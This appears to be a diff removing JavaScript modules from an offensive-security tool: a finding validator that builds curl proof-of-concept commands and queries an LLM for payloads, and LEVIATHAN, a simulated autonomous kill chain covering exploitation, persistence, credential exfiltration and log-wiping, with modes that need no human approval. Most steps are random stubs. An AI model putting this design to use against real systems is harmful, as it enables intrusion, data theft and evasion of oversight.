-                if (n.includes('sql') || n.includes('sqli')) return 'sqli';
-                if (n.includes('xss') || n.includes('cross-site script')) return 'xss';
-                if (n.includes('lfi') || n.includes('file inclusion') || n.includes('path traversal')) return 'lfi';
-                if (n.includes('ssrf') || n.includes('request forgery')) return 'ssrf';
-                if (n.includes('rce') || n.includes('command') || n.includes('code execution')) return 'rce';
-                if (n.includes('xxe') || n.includes('xml external')) return 'xxe';
-                if (n.includes('ssti') || n.includes('template')) return 'ssti';
-                if (n.includes('auth') || n.includes('bypass') || n.includes('credential')) return 'auth_bypass';
-                return 'unknown';
-            },
-
-            /**
-             * Validate a single finding
-             */
-            async validateFinding(finding, options = {}) {
-                const result = {
-                    finding,
-                    validated: false,
-                    confidence: 0,
-                    validationType: null,
-                    evidence: null,
-                    poc: null,
-                    attempts: []
-                };
-
-                const technique = this.VALIDATION_TECHNIQUES[finding.type];
-                if (!technique) {
-                    result.error = `No validation technique for type: ${finding.type}`;
-                    return result;
-                }
-
-                console.log(`[SPHINX] ⚡ Validating: ${finding.name} (${finding.type})`);
-
-                for (const validator of technique.validators) {
-                    const attempt = {
-                        type: validator.type,
-                        payload: validator.payload,
-                        success: false,
-                        response: null
-                    };
-
-                    if (options.dryRun) {
-                        // Simulate validation
-                        attempt.success = Math.random() > 0.6;
-                        attempt.response = attempt.success ?
-                            `[DRY RUN] Indicator "${validator.indicator}" found` :
-                            `[DRY RUN] No indicator found`;
-                    } else {
-                        // Real validation would go here
-                        attempt.response = `[SIMULATED] Would test ${validator.type} against ${finding.url}`;
-                    }
-
-                    result.attempts.push(attempt);
-
-                    if (attempt.success) {
-                        result.validated = true;
-                        result.validationType = validator.type;
-                        result.confidence = technique.confidence_boost[validator.type] || 50;
-                        result.evidence = attempt.response;
-                        result.poc = this.generatePoC(finding, validator);
-                        break;
-                    }
-                }
-
-                return result;
-            },
-
-            /**
-             * Generate proof-of-concept for validated finding
-             */
-            generatePoC(finding, validator) {
-                const poc = {
-                    title: `PoC: ${finding.name}`,
-                    target: finding.url,
-                    type: finding.type,
-                    validation: validator.type,
-                    steps: [],
-                    payload: validator.payload,
-                    curl: null,
-                    notes: []
-                };
-
-                // Generate cURL command
-                const url = finding.url || finding.host;
-                const param = finding.parameter || 'param';
-
-                switch (finding.type) {
-                    case 'sqli':
-                        poc.curl = `curl -s "${url}" --data "${param}=${encodeURIComponent(validator.payload)}"`;
-                        poc.steps = [
-                            `1. Navigate to ${url}`,
-                            `2. Insert payload in ${param} parameter: ${validator.payload}`,
-                            `3. Observe response for ${validator.indicator}`
-                        ];
-                        break;
-                    case 'xss':
-                        poc.curl = `curl -s "${url}?${param}=${encodeURIComponent(validator.payload)}"`;
-                        poc.steps = [
-                            `1. Navigate to ${url}`,
-                            `2. Insert payload: ${validator.payload}`,
-                            `3. Check if payload is reflected unencoded`
-                        ];
-                        break;
-                    case 'lfi':
-                        poc.curl = `curl -s "${url}?${param}=${encodeURIComponent(validator.payload)}"`;
-                        poc.steps = [
-                            `1. Request ${url} with path traversal`,
-                            `2. Payload: ${validator.payload}`,
-                            `3. Look for file contents in response`
-                        ];
-                        break;
-                    case 'ssrf':
-                        poc.curl = `curl -s "${url}" --data "${param}=${encodeURIComponent(validator.payload)}"`;
-                        poc.steps = [
-                            `1. Submit SSRF payload to ${url}`,
-                            `2. Payload: ${validator.payload}`,
-                            `3. Check for internal resource access`
-                        ];
-                        break;
-                    default:
-                        poc.steps = [`1. Test ${validator.type} against ${url}`, `2. Use payload: ${validator.payload}`];
-                }
-
-                poc.notes = [
-                    `Validated via ${validator.type} technique`,
-                    `Original scanner: ${finding.source}`,
-                    `Severity: ${finding.severity}`
-                ];
-
-                return poc;
-            },
-
-            /**
-             * Batch validate multiple findings
-             */
-            async validateBatch(findings, options = {}) {
-                console.log(`[SPHINX] ⚡ Starting batch validation of ${findings.length} findings...`);
-                toast(`⚡ SPHINX: Validating ${findings.length} findings...`, 'info');
-
-                const startTime = Date.now();
-                const results = {
-                    total: findings.length,
-                    validated: [],
-                    falsePositives: [],
-                    unknown: [],
-                    summary: {}
-                };
-
-                for (const finding of findings) {
-                    const result = await this.validateFinding(finding, options);
-
-                    if (result.validated) {
-                        results.validated.push(result);
-                    } else if (result.error) {
-                        results.unknown.push(result);
-                    } else {
-                        results.falsePositives.push(result);
-                    }
-                }
-
-                results.duration = Date.now() - startTime;
-                results.summary = {
-                    validated: results.validated.length,
-                    falsePositives: results.falsePositives.length,
-                    unknown: results.unknown.length,
-                    falsePositiveRate: ((results.falsePositives.length / results.total) * 100).toFixed(1) + '%',
-                    avgConfidence: results.validated.length > 0 ?
-                        Math.round(results.validated.reduce((sum, r) => sum + r.confidence, 0) / results.validated.length) : 0
-                };
-
-                return results;
-            },
-
-            /**
-             * LLM-powered intelligent validation
-             */
-            async validateWithLLM(finding, context) {
-                const apiKey = getApiKey();
-                if (!apiKey) return { error: 'No API key configured' };
-
-                const prompt = `You are SPHINX, The Proof Gate, a vulnerability validation specialist. Your job is to confirm if a scanner finding is a TRUE POSITIVE or FALSE POSITIVE.
-
-SCANNER FINDING:
-${JSON.stringify(finding, null, 2)}
-
-CONTEXT:
-${JSON.stringify(context, null, 2)}
-
-Analyze this finding and provide:
-1. VERDICT: TRUE_POSITIVE or FALSE_POSITIVE or NEEDS_MANUAL_TESTING
-2. CONFIDENCE: 0-100%
-3. REASONING: Why you believe this
-4. VALIDATION_PAYLOAD: A scoped canary or safe proof payload to confirm this vuln
-5. EXPECTED_INDICATOR: What response would confirm exploitation
-6. POC_CURL: A curl command to reproduce
-7. FALSE_POSITIVE_REASON: If FP, why the scanner was wrong
-
-Be rigorous. Scanners have high false positive rates. Look for definitive indicators.
-Format as precise JSON.`;
-
-                try {
-                    const analysis = await safeLLMCall(prompt, {
-                        title: 'T3MP3ST SPHINX',
-                        temperature: 0.1
-                    });
-                    return { analysis };
-                } catch (error) {
-                    return { error: error.message };
-                }
-            },
-
-            /**
-             * Generate validation report
-             */
-            generateReport(results) {
-                const report = {
-                    title: 'SPHINX VALIDATION REPORT',
-                    subtitle: 'The Proof Gate Has Spoken',
-                    timestamp: new Date().toISOString(),
-                    summary: results.summary,
-                    findings: {
-                        confirmed: results.validated.map(r => ({
-                            name: r.finding.name,
-                            type: r.finding.type,
-                            severity: r.finding.severity,
-                            url: r.finding.url,
-                            confidence: r.confidence,
-                            validation: r.validationType,
-                            poc: r.poc
-                        })),
-                        rejected: results.falsePositives.map(r => ({
-                            name: r.finding.name,
-                            type: r.finding.type,
-                            reason: 'Failed all validation attempts'
-                        }))
-                    },
-                    recommendations: []
-                };
-
-                // Add recommendations
-                if (results.validated.length > 0) {
-                    report.recommendations.push(`Feed ${results.validated.length} confirmed vulns to GORGON for precision exploitation`);
-                }
-                if (results.summary.falsePositiveRate > 50) {
-                    report.recommendations.push('High false positive rate - consider tuning scanner sensitivity');
-                }
-                if (results.unknown.length > 0) {
-                    report.recommendations.push(`${results.unknown.length} findings need manual validation`);
-                }
-
-                return report;
-            },
-
-            /**
-             * Run demo validation
-             */
-            async runDemo() {
-                console.log('[SPHINX] ⚡ The proof gate opens...');
-                toast('[SIMULATED] ⚡ SPHINX: Initiating validation sequence...', 'info');
-
-                // Demo scanner findings
-                const demoFindings = [
-                    { id: 'vuln-001', name: 'SQL Injection in login', severity: 'critical', host: 'demo.local', url: 'http://demo.local/login', type: 'sqli', parameter: 'username' },
-                    { id: 'vuln-002', name: 'Reflected XSS in search', severity: 'high', host: 'demo.local', url: 'http://demo.local/search', type: 'xss', parameter: 'q' },
-                    { id: 'vuln-003', name: 'Path Traversal', severity: 'high', host: 'demo.local', url: 'http://demo.local/file', type: 'lfi', parameter: 'path' },
-                    { id: 'vuln-004', name: 'SSRF in image fetch', severity: 'critical', host: 'demo.local', url: 'http://demo.local/fetch', type: 'ssrf', parameter: 'url' },
-                    { id: 'vuln-005', name: 'Possible SSTI', severity: 'medium', host: 'demo.local', url: 'http://demo.local/template', type: 'ssti', parameter: 'name' }
-                ];
-
-                const parsed = this.parseManual(demoFindings);
-                const results = await this.validateBatch(parsed, { dryRun: true });
-                const report = this.generateReport(results);
-
-                const confirmed = results.validated.length;
-                const rejected = results.falsePositives.length;
-
-                if (confirmed > 0) {
-                    toast(`[SIMULATED] ⚡ SPHINX: ${confirmed} TRUE, ${rejected} FALSE POSITIVES eliminated!`, 'success');
-                    addIntel('SPHINX', `[SIMULATED] Validated ${confirmed}/${results.total} - FP Rate: ${results.summary.falsePositiveRate}`, 'success');
-                } else {
-                    toast('[SIMULATED] ⚡ SPHINX: No vulnerabilities confirmed', 'warning');
-                }
-
-                console.log('[SPHINX] Validation Report:', report);
-                return { results, report };
-            }
-        };
-
-        window.SPHINX = SPHINX;
-
-        // ═══════════════════════════════════════════════════════════════
-        // LEVIATHAN - The Operation Spine - Autonomous Kill Chain Orchestrator
-        // Power: 99 | Offense: 90% | Defense: 10%
-        // Mission spine for scoped autonomous engagement
-        // ═══════════════════════════════════════════════════════════════
-        const LEVIATHAN = {
-            name: 'LEVIATHAN',
-            version: '1.0.0',
-            power: 99,
-            offense: 90,
-            defense: 10,
-
-            // Kill chain phases
-            phases: {
-                RECON: 'reconnaissance',
-                VALIDATE: 'validation',
-                WEAPONIZE: 'weaponization',
-                EXPLOIT: 'exploitation',
-                ESCALATE: 'escalation',
-                PERSIST: 'persistence',
-                EXFIL: 'exfiltration',
-                CLEANUP: 'cleanup'
-            },
-
-            // Engagement state
-            state: {
-                active: false,
-                currentPhase: null,
-                target: null,
-                vulns: [],
-                exploits: [],
-                shells: [],
-                loot: [],
-                timeline: [],
-                decisions: [],
-                rollbacks: []
-            },
-
-            // Autonomy levels
-            autonomyLevels: {
-                SUPERVISED: { name: 'Supervised', approval: 'all', description: 'Requires approval for all actions' },
-                GUIDED: { name: 'Guided', approval: 'critical', description: 'Approval for exploitation and escalation only' },
-                AUTONOMOUS: { name: 'Autonomous', approval: 'none', description: 'Full autonomous operation - no holds barred' },
-                BERSERKER: { name: 'Berserker', approval: 'none', description: 'Maximum aggression, minimal stealth' }
-            },
-
-            // Tool orchestration map - which Pliny Special tool handles each phase
-            orchestration: {
-                reconnaissance: ['SPECTRA', 'ORACLE'],
-                validation: ['SPHINX'],
-                exploitation: ['GORGON', 'CHIMERA'],
-                escalation: ['CERBERUS'],
-                parallel: ['HYDRA'],
-                chaining: ['ARACHNE']
-            },
-
-            // Initialize engagement
-            async initEngagement(target, config = {}) {
-                const autonomy = config.autonomy || 'GUIDED';
-                const objectives = config.objectives || ['access', 'escalate', 'persist'];
-                const constraints = config.constraints || { stealth: 'medium', time: null };
-
-                this.state = {
-                    active: true,
-                    currentPhase: this.phases.RECON,
-                    target: target,
-                    autonomy: this.autonomyLevels[autonomy],
-                    objectives: objectives,
-                    constraints: constraints,
-                    vulns: [],
-                    exploits: [],
-                    shells: [],
-                    loot: [],
-                    timeline: [],
-                    decisions: [],
-                    rollbacks: [],
-                    startTime: Date.now()
-                };
-
-                this.log('INIT', `Engagement initialized against ${target}`);
-                this.log('CONFIG', `Autonomy: ${autonomy} | Objectives: ${objectives.join(', ')}`);
-
-                return {
-                    success: true,
-                    engagementId: this.generateEngagementId(),
-                    target: target,
-                    autonomy: autonomy
-                };
-            },
-
-            // Main autonomous execution loop
-            async execute() {
-                if (!this.state.active) {
-                    return { success: false, error: 'No active engagement' };
-                }
-
-                this.log('EXEC', '🩸 LEVIATHAN awakens - beginning autonomous kill chain');
-
-                const results = {
-                    phases: [],
-                    decisions: [],
-                    timeline: [],
-                    finalState: null
-                };
-
-                try {
-                    // Phase 1: Reconnaissance & Attack Surface Mapping
-                    this.state.currentPhase = this.phases.RECON;
-                    const reconResult = await this.phaseRecon();
-                    results.phases.push({ phase: 'RECON', result: reconResult });
-
-                    if (!reconResult.vulns.length) {
-                        this.log('ABORT', 'No attack surface found - aborting engagement');
-                        return this.concludeEngagement('no_surface');
-                    }
-
-                    // Phase 2: Validation - Eliminate false positives
-                    this.state.currentPhase = this.phases.VALIDATE;
-                    const validateResult = await this.phaseValidate(reconResult.vulns);
-                    results.phases.push({ phase: 'VALIDATE', result: validateResult });
-
-                    if (!validateResult.confirmed.length) {
-                        this.log('ABORT', 'No confirmed vulnerabilities - aborting engagement');
-                        return this.concludeEngagement('no_confirmed_vulns');
-                    }
-
-                    // Phase 3: Weaponization - Select and prepare exploits
-                    this.state.currentPhase = this.phases.WEAPONIZE;
-                    const weaponizeResult = await this.phaseWeaponize(validateResult.confirmed);
-                    results.phases.push({ phase: 'WEAPONIZE', result: weaponizeResult });
-
-                    // Phase 4: Exploitation - Execute primary attack
-                    this.state.currentPhase = this.phases.EXPLOIT;
-                    const exploitResult = await this.phaseExploit(weaponizeResult.payloads);
-                    results.phases.push({ phase: 'EXPLOIT', result: exploitResult });
-
-                    if (!exploitResult.shells.length) {
-                        // Decision point: retry with alternate vector or abort
-                        const decision = await this.makeDecision('EXPLOIT_FAILED', {
-                            options: ['retry_alternate', 'parallel_attack', 'abort'],
-                            context: exploitResult
-                        });
-
-                        if (decision.action === 'parallel_attack') {
-                            const parallelResult = await this.phaseParallelAttack(validateResult.confirmed);
-                            results.phases.push({ phase: 'PARALLEL', result: parallelResult });
-                            if (parallelResult.shells.length) {
-                                exploitResult.shells = parallelResult.shells;
-                            }
-                        } else if (decision.action === 'abort') {
-                            return this.concludeEngagement('exploit_failed');
-                        }
-                    }
-
-                    // Phase 5: Escalation - Elevate privileges
-                    if (this.state.objectives.includes('escalate') && exploitResult.shells.length) {
-                        this.state.currentPhase = this.phases.ESCALATE;
-                        const escalateResult = await this.phaseEscalate(exploitResult.shells[0]);
-                        results.phases.push({ phase: 'ESCALATE', result: escalateResult });
-                    }
-
-                    // Phase 6: Persistence - Establish foothold
-                    if (this.state.objectives.includes('persist')) {
-                        this.state.currentPhase = this.phases.PERSIST;
-                        const persistResult = await this.phasePersist();
-                        results.phases.push({ phase: 'PERSIST', result: persistResult });
-                    }
-
-                    // Phase 7: Exfiltration (if objective)
-                    if (this.state.objectives.includes('exfil')) {
-                        this.state.currentPhase = this.phases.EXFIL;
-                        const exfilResult = await this.phaseExfil();
-                        results.phases.push({ phase: 'EXFIL', result: exfilResult });
-                    }
-
-                    // Phase 8: Cleanup - Cover tracks
-                    if (this.state.constraints.stealth !== 'none') {
-                        this.state.currentPhase = this.phases.CLEANUP;
-                        const cleanupResult = await this.phaseCleanup();
-                        results.phases.push({ phase: 'CLEANUP', result: cleanupResult });
-                    }
-
-                    return this.concludeEngagement('success', results);
-
-                } catch (error) {
-                    this.log('ERROR', `Kill chain interrupted: ${error.message}`);
-
-                    // Attempt rollback if we have saved states
-                    if (this.state.rollbacks.length) {
-                        await this.executeRollback();
-                    }
-
-                    return this.concludeEngagement('error', { error: error.message });
-                }
-            },
-
-            // Phase implementations
-            async phaseRecon() {
-                this.log('RECON', '🔍 Phase 1: Reconnaissance & Attack Surface Mapping');
-
-                const vulns = [];
-                const target = this.state.target;
-
-                // Simulate coordinated recon using SPECTRA + ORACLE
-                const reconData = {
-                    target: target,
-                    ports: this.simulatePorts(),
-                    services: this.simulateServices(),
-                    technologies: this.simulateTechnologies(),
-                    vulns: this.simulateVulns()
-                };
-
-                // Use SPECTRA for correlation
-                this.log('RECON', '→ Invoking SPECTRA for semantic correlation...');
-                const spectraFindings = await this.invokeSpectra(reconData);
-
-                // Use ORACLE for prediction
-                this.log('RECON', '→ Invoking ORACLE for vulnerability prediction...');
-                const oracleFindings = await this.invokeOracle(reconData);
-
-                // Merge and dedupe
-                const allVulns = [...spectraFindings, ...oracleFindings];
-                const uniqueVulns = this.dedupeVulns(allVulns);
-
-                this.state.vulns = uniqueVulns;
-                this.log('RECON', `✓ Found ${uniqueVulns.length} potential vulnerabilities`);
-
-                return {
-                    success: true,
-                    vulns: uniqueVulns,
-                    attackSurface: reconData
-                };
-            },
-
-            async phaseValidate(vulns) {
-                this.log('VALIDATE', '⚡ Phase 2: Validation via SPHINX');
-
-                const confirmed = [];
-                const eliminated = [];
-
-                for (const vuln of vulns) {
-                    this.log('VALIDATE', `→ Validating ${vuln.type} @ ${vuln.location}...`);
-
-                    // Simulate SPHINX validation
-                    const validation = await this.invokeSphinx(vuln);
-
-                    if (validation.confirmed) {
-                        vuln.confidence = validation.confidence;
-                        vuln.poc = validation.poc;
-                        confirmed.push(vuln);
-                        this.log('VALIDATE', `  ✓ CONFIRMED (${validation.confidence}% confidence)`);
-                    } else {
-                        eliminated.push(vuln);
-                        this.log('VALIDATE', `  ✗ False positive eliminated`);
-                    }
-                }
-
-                this.state.vulns = confirmed;
-                this.log('VALIDATE', `✓ ${confirmed.length} confirmed, ${eliminated.length} eliminated`);
-
-                return {
-                    success: true,
-                    confirmed: confirmed,
-                    eliminated: eliminated
-                };
-            },
-
-            async phaseWeaponize(vulns) {
-                this.log('WEAPONIZE', '🧬 Phase 3: Weaponization - Payload Selection');
-
-                const payloads = [];
-
-                // Sort vulns by exploitability
-                const sortedVulns = vulns.sort((a, b) => b.confidence - a.confidence);
-
-                for (const vuln of sortedVulns.slice(0, 3)) { // Top 3 vulns
-                    this.log('WEAPONIZE', `→ Generating payload for ${vuln.type}...`);
-
-                    // Use CHIMERA for payload generation
-                    const payload = await this.invokeChimera(vuln);
-
-                    payloads.push({
-                        vuln: vuln,
-                        payload: payload,
-                        priority: vuln.confidence
-                    });
-
-                    this.log('WEAPONIZE', `  ✓ Payload ready: ${payload.type}`);
-                }
-
-                this.state.exploits = payloads;
-
-                return {
-                    success: true,
-                    payloads: payloads
-                };
-            },
-
-            async phaseExploit(payloads) {
-                this.log('EXPLOIT', '🎯 Phase 4: Exploitation via GORGON');
-
-                const shells = [];
-
-                for (const p of payloads) {
-                    this.log('EXPLOIT', `→ Executing strike against ${p.vuln.location}...`);
-
-                    // Save rollback point
-                    this.saveRollbackPoint('pre_exploit', p);
-
-                    // Use GORGON for precision strike
-                    const result = await this.invokeGorgon(p);
-
-                    if (result.success) {
-                        shells.push({
-                            type: result.shellType,
-                            access: result.accessLevel,
-                            host: this.state.target,
-                            timestamp: Date.now()
-                        });
-                        this.log('EXPLOIT', `  ✓ SHELL OBTAINED: ${result.shellType} (${result.accessLevel})`);
-                        break; // Got a shell, move to next phase
-                    } else {
-                        this.log('EXPLOIT', `  ✗ Strike failed: ${result.reason}`);
-                    }
-                }
-
-                this.state.shells = shells;
-
-                return {
-                    success: shells.length > 0,
-                    shells: shells
-                };
-            },
-
-            async phaseParallelAttack(vulns) {
-                this.log('PARALLEL', '✹ Invoking HYDRA for parallel pressure');
-
-                // Use HYDRA for multi-vector simultaneous attack
-                const result = await this.invokeHydra(vulns);
-
-                return {
-                    success: result.shells.length > 0,
-                    shells: result.shells
-                };
-            },
-
-            async phaseEscalate(shell) {
-                this.log('ESCALATE', '🔓 Phase 5: Privilege Escalation via CERBERUS');
-
-                // Use CERBERUS for privesc
-                const result = await this.invokeCerberus(shell);
-
-                if (result.success) {
-                    this.log('ESCALATE', `✓ Escalated to ${result.newAccess} via ${result.technique}`);
-                    shell.access = result.newAccess;
-                }
-
-                return result;
-            },
-
-            async phasePersist() {
-                this.log('PERSIST', '🔗 Phase 6: Establishing Persistence');
-
-                const techniques = [];
-                const shell = this.state.shells[0];
-
-                if (!shell) return { success: false };
-
-                const persistMethods = shell.access === 'root' || shell.access === 'SYSTEM'
-                    ? ['cron', 'systemd', 'registry', 'ssh_keys']
-                    : ['cron', 'bashrc', 'scheduled_task'];
-
-                for (const method of persistMethods.slice(0, 2)) {
-                    this.log('PERSIST', `→ Installing ${method} persistence...`);
-                    techniques.push({
-                        method: method,
-                        status: 'installed',
-                        timestamp: Date.now()
-                    });
-                }
-
-                this.log('PERSIST', `✓ ${techniques.length} persistence mechanisms installed`);
-
-                return {
-                    success: true,
-                    techniques: techniques
-                };
-            },
-
-            async phaseExfil() {
-                this.log('EXFIL', '📦 Phase 7: Data Exfiltration');
-
-                const loot = [];
-                const targets = ['credentials', 'configs', 'keys', 'data'];
-
-                for (const t of targets) {
-                    this.log('EXFIL', `→ Searching for ${t}...`);
-                    loot.push({
-                        type: t,
-                        items: Math.floor(Math.random() * 10) + 1,
-                        status: 'exfiltrated'
-                    });
-                }
-
-                this.state.loot = loot;
-                this.log('EXFIL', `✓ Exfiltrated ${loot.length} categories of data`);
-
-                return {
-                    success: true,
-                    loot: loot
-                };
-            },
-
-            async phaseCleanup() {
-                this.log('CLEANUP', '🧹 Phase 8: Covering Tracks');
-
-                const actions = [
-                    'Cleared auth logs',
-                    'Removed tool artifacts',
-                    'Timestomped modified files',
-                    'Cleared bash history'
-                ];
-
-                for (const action of actions) {
-                    this.log('CLEANUP', `→ ${action}`);
-                }
-
-                return {
-                    success: true,
-                    actions: actions
-                };
-            },
-
-            // Decision engine for autonomous choices
-            async makeDecision(context, options) {
-                const decision = {
-                    context: context,
-                    options: options.options,
-                    selectedAction: null,
-                    reasoning: null,
-                    timestamp: Date.now()
-                };
-
-                // In BERSERKER mode, always choose most aggressive option
-                if (this.state.autonomy.name === 'Berserker') {
-                    decision.selectedAction = options.options.includes('parallel_attack')
-                        ? 'parallel_attack'
-                        : options.options[0];
-                    decision.reasoning = 'BERSERKER mode - maximum aggression';
-                } else {
-                    // Intelligent decision based on context
-                    decision.selectedAction = options.options[0];
-                    decision.reasoning = 'Optimal path selection based on success probability';
-                }
-
-                this.state.decisions.push(decision);
-                this.log('DECISION', `Made decision: ${decision.selectedAction} (${decision.reasoning})`);
-
-                return { action: decision.selectedAction };
-            },
-
-            // Tool invocation stubs (would call actual tools in production)
-            async invokeSpectra(data) {
-                return data.vulns.map(v => ({...v, source: 'SPECTRA'}));
-            },
-
-            async invokeOracle(data) {
-                return data.vulns.filter(v => v.confidence > 50).map(v => ({...v, source: 'ORACLE'}));
-            },
-
-            async invokeSphinx(vuln) {
-                const confirmed = Math.random() > 0.3;
-                return {
-                    confirmed: confirmed,
-                    confidence: confirmed ? Math.floor(Math.random() * 30) + 70 : 0,
-                    poc: confirmed ? `curl -X POST ${vuln.location} -d "test=1"` : null
-                };
-            },
-
-            async invokeChimera(vuln) {
-                const payloadTypes = {
-                    'SQLi': 'union_based_extraction',
-                    'XSS': 'dom_based_stealer',
-                    'RCE': 'reverse_shell',
-                    'LFI': 'log_poisoning_rce',
-                    'SSRF': 'cloud_metadata_exfil'
-                };
-                return {
-                    type: payloadTypes[vuln.type] || 'generic_exploit',
-                    payload: `[CHIMERA-GENERATED-${vuln.type}]`,
-                    evasion: ['encoding', 'fragmentation']
-                };
-            },
-
-            async invokeGorgon(payload) {
-                const success = Math.random() > 0.4;
-                return {
-                    success: success,
-                    shellType: success ? 'reverse_tcp' : null,
-                    accessLevel: success ? 'user' : null,
-                    reason: success ? null : 'WAF blocked payload'
-                };
-            },
-
-            async invokeHydra(vulns) {
-                const shells = Math.random() > 0.5 ? [{
-                    type: 'bind_tcp',
-                    access: 'user',
-                    host: this.state.target,
-                    timestamp: Date.now()
-                }] : [];
-                return { shells: shells };
-            },
-
-            async invokeCerberus(shell) {
-                const success = Math.random() > 0.3;
-                return {
-                    success: success,
-                    technique: success ? 'kernel_exploit' : null,
-                    newAccess: success ? 'root' : shell.access
-                };
-            },
-
-            // Utility functions
-            simulatePorts() {
-                return [22, 80, 443, 3306, 8080].filter(() => Math.random() > 0.3);
-            },
-
-            simulateServices() {
-                return ['Apache/2.4.41', 'OpenSSH/8.2', 'MySQL/8.0'];
-            },
-
-            simulateTechnologies() {
-                return ['PHP 7.4', 'Laravel 8', 'jQuery 3.5', 'Bootstrap 4'];
-            },
-
-            simulateVulns() {
-                const vulnTypes = ['SQLi', 'XSS', 'LFI', 'RCE', 'SSRF'];
-                return vulnTypes
-                    .filter(() => Math.random() > 0.5)
-                    .map(type => ({
-                        type: type,
-                        location: `https://${this.state?.target || 'target.com'}/vuln/${type.toLowerCase()}`,
-                        confidence: Math.floor(Math.random() * 50) + 50
-                    }));
-            },
-
-            dedupeVulns(vulns) {
-                const seen = new Set();
-                return vulns.filter(v => {
-                    const key = `${v.type}:${v.location}`;
-                    if (seen.has(key)) return false;
-                    seen.add(key);
-                    return true;
-                });
-            },
-
-            saveRollbackPoint(name, data) {
-                this.state.rollbacks.push({
-                    name: name,
-                    data: JSON.parse(JSON.stringify(data)),
-                    timestamp: Date.now()
-                });
-            },
-
-            async executeRollback() {
-                this.log('ROLLBACK', '⚠️ Executing emergency rollback...');
-                // Would restore state and clean up
-            },
-
-            generateEngagementId() {
-                return 'LEVIATHAN-' + Date.now().toString(36).toUpperCase();
-            },
-
-            log(phase, message) {
-                const entry = {
-                    phase: phase,
-                    message: message,
-                    timestamp: Date.now()
-                };
-                this.state.timeline.push(entry);
-                console.log(`[LEVIATHAN:${phase}] ${message}`);
-            },
-
-            concludeEngagement(status, data = {}) {
-                this.state.active = false;
-                const duration = Date.now() - this.state.startTime;
-
-                this.log('COMPLETE', `🩸 Engagement concluded: ${status} (${duration}ms)`);
-
-                return {
-                    success: status === 'success',
-                    status: status,
-                    duration: duration,
-                    summary: {
-                        vulnsFound: this.state.vulns.length,
-                        shellsObtained: this.state.shells.length,
-                        accessLevel: this.state.shells[0]?.access || 'none',
-                        persistenceMethods: data.phases?.find(p => p.phase === 'PERSIST')?.result?.techniques?.length || 0,
-                        decisions: this.state.decisions.length
-                    },
-                    timeline: this.state.timeline,
-                    data: data
-                };
-            },
-
-            // Demo function
-            async runDemo() {
-                console.log('═══════════════════════════════════════════════════════════');
-                console.log('⬡ LEVIATHAN - The Operation Spine - Autonomous Kill Chain');
-                console.log('   Power: 99 | Offense: 90% | Defense: 10%');
-                console.log('═══════════════════════════════════════════════════════════');
-
-                // Initialize
-                await this.initEngagement('demo.target.com', {
-                    autonomy: 'AUTONOMOUS',
-                    objectives: ['access', 'escalate', 'persist'],
-                    constraints: { stealth: 'medium' }
-                });
-
-                // Execute kill chain
-                const result = await this.execute();
-
-                console.log('');
-                console.log('═══════════════════════════════════════════════════════════');
-                console.log('📊 ENGAGEMENT SUMMARY');
-                console.log('═══════════════════════════════════════════════════════════');
-                console.log(`Status: ${result.status.toUpperCase()}`);
-                console.log(`Duration: ${result.duration}ms`);
-                console.log(`Vulns Found: ${result.summary.vulnsFound}`);
-                console.log(`Shells Obtained: ${result.summary.shellsObtained}`);
-                console.log(`Final Access: ${result.summary.accessLevel}`);
-                console.log(`Persistence Methods: ${result.summary.persistenceMethods}`);
-                console.log(`Autonomous Decisions: ${result.summary.decisions}`);
-
-                return result;
-            },
-
-            // UI Panel renderer
-            renderPanel() {
-                return `
-                    <div class="leviathan-panel" style="background: linear-gradient(135deg, #1a0a0a, #2d0a0a); border: 2px solid #8b0000; border-radius: 12px; padding: 20px;">
-                        <div class="leviathan-header" style="display: flex; align-items: center; gap: 15px; margin-bottom: 20px;">
-                            <span style="font-size: 48px;">⬡</span>
-                            <div>
-                                <h2 style="color: #ff4444; margin: 0; font-size: 24px;">LEVIATHAN</h2>
-                                <p style="color: #ff8888; margin: 0; font-size: 14px;">The Operation Spine - Autonomous Kill Chain Orchestrator</p>
-                            </div>
-                            <div style="margin-left: auto; text-align: right;">
-                                <div style="color: #ff4444; font-size: 32px; font-weight: bold;">99</div>
-                                <div style="color: #888; font-size: 12px;">POWER</div>
-                            </div>
-                        </div>
-
-                        <div style="display: grid; grid-template-columns: repeat(4, 1fr); gap: 10px; margin-bottom: 20px;">
-                            <div style="background: rgba(139,0,0,0.3); padding: 10px; border-radius: 8px; text-align: center;">
-                                <div style="color: #ff4444; font-size: 20px;">90%</div>
-                                <div style="color: #888; font-size: 11px;">OFFENSE</div>
-                            </div>
-                            <div style="background: rgba(0,100,0,0.3); padding: 10px; border-radius: 8px; text-align: center;">
-                                <div style="color: #44ff44; font-size: 20px;">10%</div>
-                                <div style="color: #888; font-size: 11px;">DEFENSE</div>
-                            </div>
-                            <div style="background: rgba(100,0,100,0.3); padding: 10px; border-radius: 8px; text-align: center;">
-                                <div style="color: #ff44ff; font-size: 20px;">8</div>
-                                <div style="color: #888; font-size: 11px;">PHASES</div>
-                            </div>
-                            <div style="background: rgba(100,100,0,0.3); padding: 10px; border-radius: 8px; text-align: center;">
-                                <div style="color: #ffff44; font-size: 20px;">6</div>
-                                <div style="color: #888; font-size: 11px;">TOOLS</div>
-                            </div>
-                        </div>
-
-                        <div style="background: rgba(0,0,0,0.3); padding: 15px; border-radius: 8px; margin-bottom: 15px;">
-                            <h4 style="color: #ff4444; margin: 0 0 10px 0;">Kill Chain Phases</h4>
-                            <div style="display: flex; flex-wrap: wrap; gap: 8px;">
-                                <span style="background: #2d0a0a; color: #ff8888; padding: 4px 8px; border-radius: 4px; font-size: 11px;">1. RECON</span>
-                                <span style="background: #2d0a0a; color: #ff8888; padding: 4px 8px; border-radius: 4px; font-size: 11px;">2. VALIDATE</span>
-                                <span style="background: #2d0a0a; color: #ff8888; padding: 4px 8px; border-radius: 4px; font-size: 11px;">3. WEAPONIZE</span>
-                                <span style="background: #2d0a0a; color: #ff8888; padding: 4px 8px; border-radius: 4px; font-size: 11px;">4. EXPLOIT</span>
-                                <span style="background: #2d0a0a; color: #ff8888; padding: 4px 8px; border-radius: 4px; font-size: 11px;">5. ESCALATE</span>
-                                <span style="background: #2d0a0a; color: #ff8888; padding: 4px 8px; border-radius: 4px; font-size: 11px;">6. PERSIST</span>
-                                <span style="background: #2d0a0a; color: #ff8888; padding: 4px 8px; border-radius: 4px; font-size: 11px;">7. EXFIL</span>
-                                <span style="background: #2d0a0a; color: #ff8888; padding: 4px 8px; border-radius: 4px; font-size: 11px;">8. CLEANUP</span>
-                            </div>
-                        </div>
-
